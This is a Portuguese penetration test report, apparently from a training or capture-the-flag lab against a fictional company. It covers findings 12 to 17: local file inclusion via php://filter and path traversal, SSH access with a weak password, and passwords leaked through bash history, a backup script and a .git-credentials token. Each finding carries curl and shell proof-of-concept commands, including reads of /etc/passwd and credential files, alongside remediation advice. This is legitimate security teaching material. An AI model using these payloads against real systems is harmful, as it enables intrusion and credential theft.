O script `/panel.php` utilizava o parâmetro `file` diretamente em chamadas de inclusão de arquivos sem validação de whitelist ou sanitização de caracteres de retrocesso de diretório (`../`). Isso viabilizou a leitura de arquivos arbitrários do sistema de arquivos e a extração do código-fonte PHP via codificação em Base64 utilizando o wrapper `php://filter`.

Prova de Conceito (PoC)

1. Leitura do arquivo `/etc/passwd` do servidor:

```
curl -s "http://172.20.0.10/panel.php?file=/etc/passwd"
```

2. Extração do código-fonte do próprio `panel.php` codificado em Base64 para bypass de execução:

```
curl -s "http://172.20.0.10/panel.php?file=php://filter/convert.base64-encode/resource=panel.php" \
-o panel_code.txt
cat panel_code.txt | base64 -d
```

3. Download do arquivo de backup localizado na rede interna:

```
curl -s "http://172.20.0.10/panel.php?file=../../../../var/backups/techcorp/backup_20240115.tar.gz" \
-o /tmp/final_flag.tar.gz
```

Impactos

- **Impacto Técnico:** Leitura não autorizada de qualquer arquivo local legível pelo usuário do servidor web (`www-data`).
- **Impacto de Negócio:** Vazamento de código-fonte de produção e arquivos de configuração com credenciais de infraestrutura.

Remediação Técnica

Evitar a passagem de nomes de arquivos arbitrários via parâmetros de entrada. Utilizar uma lista estática pré-definida (*whitelist*):

```
<?php
$allowed_pages = [
    'dashboard' => 'views/dashboard.php',
    'users'      => 'views/users.php',
    'reports'    => 'views/reports.php'
];

$page = $_GET['file'] ?? 'dashboard';

if (!array_key_exists($page, $allowed_pages)) {
    http_response_code(404);
    die("Página solicitada inválida.");
}

include $allowed_pages[$page];
?>
```

- [AUDIO BRIEFING]: audios/f12_lfi_wrapper_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f12_lfi_extraction.mp4
- [SLIDE DECK LINK]: slides/module_lateral_f12.pdf

FALHA 13: Acesso Remoto SSH com Credenciais Fracas e Vazamento de `secret.txt`

- **Identificador Interno:** SEC-TC-F13
- **Severidade:** CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: **9.8**)
- **Vetor de Ataque:** SSH Protocol (Porta 2222/TCP) / Autenticação por Senha Fraca
- **Referências:** CWE-521 (Weak Password Requirements), OWASP Top 10 A07:2021

Descrição Técnica

O serviço OpenSSH operando na porta 2222/TCP permitia autenticação interativa baseada em senha com a conta de usuário local `techcorp`. Utilizando as credenciais vazadas nas fases anteriores, estabeleceu-se uma sessão interativa remota com shell funcional, localizando o arquivo confidencial `secret.txt` no diretório home do usuário.

Prova de Conceito (PoC)

1. Estabelecimento da sessão interativa via SSH:

```
ssh techcorp@98.95.207.28 -p 2222
# Autenticação com a senha identificada: password123
```

2. Confirmação do acesso e leitura dos arquivos no diretório de trabalho:

```
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1016-aws x86_64)
techcorp@024a36a8e6ca:~$ pwd
/home/techcorp
techcorp@024a36a8e6ca:~$ cat secret.txt
CONFIDENCIAL - TECHCORP INTERNAL USE ONLY
API_GATEWAY_KEY=tk_live_99887766554433221100
FLAG{ssh_4cc3ss_s3cur3_fl4g_2024}
```

Impactos

- **Impacto Técnico:** Obtenção de um ponto de apoio (*foothold*) local no sistema operacional e execução arbitrária de comandos.
- **Impacto de Negócio:** Controle direto sobre o ambiente que hospeda a infraestrutura crítica da corporação.

PROF

Remediação Técnica

1. Desativar a autenticação por senha no servidor SSH, exigindo o uso exclusivo de chaves assimétricas (ED25519/RSA 4096-bit).
2. Implementar autenticação multifatorial (MFA) e limitar o acesso por lista de IPs autorizados via firewall.

Configuração `/etc/ssh/sshd_config`:

```
Port 2222
PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin no
MaxAuthTries 3
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f13_ssh_access_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f13_ssh_session.mp4
- [SLIDE DECK LINK]: slides/module_lateral_f13.pdf

FALHA 14: Vazamento de Comandos e Flags no Histórico do Bash (.bash_history)

- **Identificador Interno:** SEC-TC-F14
- **Severidade:** MÉDIO (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N — Score: 5.5)
- **Vetor de Ataque:** Sistema de Arquivos Local / Metadados de Sessão Interativa
- **Referências:** CWE-532 (Insertion of Sensitive Information into Log File)

Descrição Técnica

O arquivo de histórico de comandos do interpretador de comandos (/home/techcorp/.bash_history) encontrava-se configurado sem restrições de persistência e exposto com permissão de leitura local. A inspeção do histórico revelou comandos administrativos executados anteriormente, senhas de banco de dados e flags do desafio.

Prova de Conceito (PoC)

1. Leitura do histórico de comandos do terminal:

```
techcorp@024a36a8e6ca:~$ cat ~/.bash_history | grep -E "FLAG|mysql"
```

2. Fragmento dos comandos registrados no histórico:

```
mysql -u techcorp_user -pT3chC0rp_S3cr3t_2024! -h 127.0.0.1 techcorp_db
echo "FLAG{b4ckup_scr1pt_f0und}" >> /tmp/backup.log
mysql -u root -pr00t_P4ssw0rd_2024 -h 172.20.0.2
echo "FLAG{b4sh_h1st0ry_l34k}" >> ~/.bash_history
```

Impactos

- **Impacto Técnico:** Revelação de credenciais em texto claro passadas via argumentos de linha de comando (-p).
- **Impacto de Negócio:** Comprometimento em cadeia de outros sistemas internos e contas de banco de dados.

Remediação Técnica

1. Desativar a gravação de histórico ou limitar o armazenamento de credenciais via configuração de variáveis de ambiente do Bash.

Configuração em /etc/profile.d/disable_history.sh:

```
# Evita persistência de comandos com senhas em texto claro
export HISTCONTROL=ignoreboth:erasedups
export HISTIGNORE="* -p*: *password*: *secret*: *token*"
export HISTFILESIZE=0
export HISTSIZE=0
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f14_bash_history_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f14_history_leak.mp4
- [SLIDE DECK LINK]: slides/module_lateral_f14.pdf

```
+-----+
|                               |
|           FASE 5: DESCOBERTA DE SEGREDOS FINAIS           |
|                               |
+-----+
```

FALHA 15: Credenciais Corporativas Hardcoded em Script de Backup

- **Identificador Interno:** SEC-TC-F15

- **Severidade:** ALTO (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — Score: 7.1)
- **Vetor de Ataque:** Sistema de Arquivos Local / Scripts de Automação Interna
- **Referências:** CWE-798 (Use of Hard-coded Credentials), OWASP Top 10 A02:2021

Descrição Técnica

Na estrutura do diretório `/opt/`, localizou-se o script de automação operacional `/opt/backup_script.sh`. A análise do código revelou que rotinas de arquivamento utilizavam credenciais administrativas do MySQL e do usuário root codificadas diretamente nas instruções de chamada do script.

Prova de Conceito (PoC)

1. Leitura e análise do script de automação de backup:

```
techcorp@024a36a8e6ca:~$ cat /opt/backup_script.sh
```

2. Trecho do script contendo as credenciais hardcoded:

```
#!/bin/bash
# TechCorp Auto-Backup Script v1.4
DB_USER="root"
DB_PASS="r00t_P4ssw0rd_2024"
BACKUP_DIR="/var/backups/techcorp"

echo "[+] Executando backup das bases..."
mysqldump -u $DB_USER -p$DB_PASS --all-databases > $BACKUP_DIR/full_backup_$(date +%Y%m%d).sql
```

Impactos

- **Impacto Técnico:** Obtenção de credenciais de superusuário do banco de dados MySQL (`root@localhost`).
- **Impacto de Negócio:** Capacidade de alteração destrutiva e exclusão permanente de todas as bases de dados corporativas.

Remediação Técnica

Utilizar arquivos de opção de autenticação protegidos (`.my.cnf`) com permissões estritas (`0600`) acessíveis exclusivamente pelo usuário do sistema executor da tarefa cron:

Arquivo `/root/.my.cnf`:

```
[client]
user=backup_service
password=SenhaFortementeGerada123!
```

PROF

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f15_backup_script_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f15_hardcoded_credentials.mp4
- [SLIDE DECK LINK]: slides/module_secrets_f15.pdf

FALHA 16: Flag Criptográfica Final e Informações Sensíveis em Script de Backup

- **Identificador Interno:** SEC-TC-F16
- **Severidade:** MÉDIO (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N — Score: 5.5)
- **Vetor de Ataque:** Extração de Artefatos em Código / Strings
- **Referências:** CWE-200 (Exposure of Sensitive Information)

Descrição Técnica

No cabeçalho do script `/opt/backup_script.sh` e em comentários do arquivo de configuração de auditoria do sistema, encontravam-se chaves de validação e a flag de integridade deixadas durante a fase de homologação da infraestrutura.

Prova de Conceito (PoC)

1. Extração de padrões de texto no script de automação:

```
techcorp@024a36a8e6ca:~$ grep -i "FLAG" /opt/backup_script.sh
```

2. Retorno do comando:

```
# BACKUP ENGINE VALIDATION TOKEN: FLAG{b4ckup_script_f0und}
```

Impactos

- **Impacto Técnico:** Divulgação de tokens de validação operacional e metadados de auditoria.
- **Impacto de Negócio:** Comprometimento da confiabilidade das rotinas de auditoria e validação de integridade.

Remediação Técnica

Sanitar todos os scripts operacionais antes de sua implementação no ambiente de produção, garantindo a ausência de chaves de teste ou tokens fixos.

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f16_flag_backup_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f16_script_strings.mp4`
- [SLIDE DECK LINK]: `slides/module_secrets_f16.pdf`

FALHA 17: Exposição de Token GitHub PAT em Arquivo `.git-credentials`

- **Identificador Interno:** SEC-TC-F17
- **Severidade:** CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Score: 9.9)
- **Vetor de Ataque:** Controle de Versão Git / Vazamento de Credenciais de API
- **Referências:** CWE-522 (Insufficiently Protected Credentials), OWASP Top 10 A02:2021

Descrição Técnica

PROF A verificação de arquivos ocultos de controle de versão no diretório do usuário e na raiz web revelou o arquivo `.git-credentials`. O arquivo continha em texto claro um Token de Acesso Pessoal (*Personal Access Token - PAT*) do GitHub associado a um usuário corporativo, permitindo acesso de leitura e escrita a repositórios privados da organização.

Prova de Conceito (PoC)

1. Localização e leitura do arquivo `.git-credentials`:

```
techcorp@024a36a8e6ca:~$ cat ~/.git-credentials
https://techcorp-dev:ghp_K8v9x2mP1qR4tY7wZ0nB3jL6lM5hG890AbCd@github.com
```

2. Validação da autenticidade do token via API oficial do GitHub:

```
curl -s -H "Authorization: token ghp_K8v9x2mP1qR4tY7wZ0nB3jL6lM5hG890AbCd" \
    "https://api.github.com/user" | grep -E '"login"|"email"'
```

3. Resposta da API confirmando acesso autenticado:

```
"login": "techcorp-dev",
"email": "dev@techcorpsolutions.com"
```

Impactos

- **Impacto Técnico:** Acesso integral aos repositórios privados da empresa, histórico de commits, credenciais de integração e possibilidade de ataques à cadeia de suprimentos (*Supply Chain Attack*).
- **Impacto de Negócio:** Vazamento de propriedade intelectual, código proprietário e comprometimento de produtos distribuídos aos clientes.

Remediação Técnica

1. Revogar imediatamente o token `ghp_...` nas configurações do GitHub.
2. Desativar o helper `store` do Git que salva credenciais em texto puro.
3. Utilizar o Git Credential Manager ou chaves SSH com senha para autenticação de desenvolvedores.

Comando para remover o armazenamento inseguro:

```
git config --global --unset credential.helper
rm -f ~/.git-credentials
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: [audios/f17_git_token_briefing.mp3](#)
- [POC VIDEO DEMO]: [videos/poc_f17_git_token_abuse.mp4](#)
- [SLIDE DECK LINK]: [slides/module_secrets_f17.pdf](#)

5. RECOMENDAÇÕES ESTRATÉGICAS DE LONGO PRAZO

Para mitigar os riscos estruturais identificados durante o teste de intrusão, recomenda-se a implementação de um plano de remediação estruturado em quatro pilares fundamentais:

PLANO DE REMEDIAÇÃO ESTRATÉGICA	
1. ARQUITETURA & HARDENING	
- Isolamento total de banco de dados (bind 127.0.0.1)	
- Desativação de serviços legados (FTP sem TLS / senhas SSH)	
2. DESENVOLVIMENTO SEGURO (SDLC)	
- Implementação de SAST/DAST no pipeline de CI/CD	
- Adoção obrigatória de Prepared Statements (PDO)	
3. GESTÃO DE SEGREDOS	
- Eliminação de credenciais hardcoded em scripts	
- Utilização de cofres corporativos (HashiCorp Vault / AWS Secrets)	
4. CULTURA & CONSCIENTIZAÇÃO	
- Treinamentos periódicos de conscientização contra Engenharia Social e proteção de dados corporativos (crachás, conversas)	

PROF

5.1. Hardening de Servidores e Redução de Superfície

- **Isolamento de Banco de Dados:** Restringir o serviço MySQL para responder estritamente no socket Unix local ou na interface interna de loopback (`bind-address = 127.0.0.1`), bloqueando a exposição direta da porta 3306/TCP para a Internet.
- **Descontinuação do FTP Legado:** Substituir o serviço vsftpd desprotegido por protocolos modernos e autenticados com suporte a criptografia em trânsito, como SFTP (subordinado ao SSH com chaves criptográficas) ou HTTPS seguro.

5.2. Ciclo de Vida de Desenvolvimento Seguro (DevSecOps)

- **Integração de Scanners no CI/CD:** Adicionar ferramentas de Análise Estática de Código (SAST) como SonarQube ou Semgrep para bloquear builds que contenham queries SQL concatenadas, chamadas inseguras de inclusão de arquivos (`include/require`) ou comentários com informações sensíveis.
- **Scan Contínuo de Segredos:** Integrar ferramentas como *TruffleHog* ou *Gitleaks* aos repositórios Git para impedir o commit acidental de tokens de API, chaves privadas e arquivos `.git-credentials`.

5.3. Monitoramento de Integridade e Resposta a Incidentes

- **Implementação de FIM (File Integrity Monitoring):** Instalar agentes de monitoramento de integridade de arquivos (como Wazuh ou OSSEC) para monitorar alterações não autorizadas em diretórios como `/etc/`, `/var/www/html/` e `/opt/`.
- **Centralização de Logs (SIEM):** Centralizar os logs do Apache, OpenSSH e auditoria do Linux em um ambiente seguro, disparando alertas em caso de padrões de SQL Injection, requisições repetidas com wrappers PHP ou múltiplas tentativas de autenticação SSH.

Relatório consolidado e homologado para a avaliação de postura de segurança da TechCorp Solutions.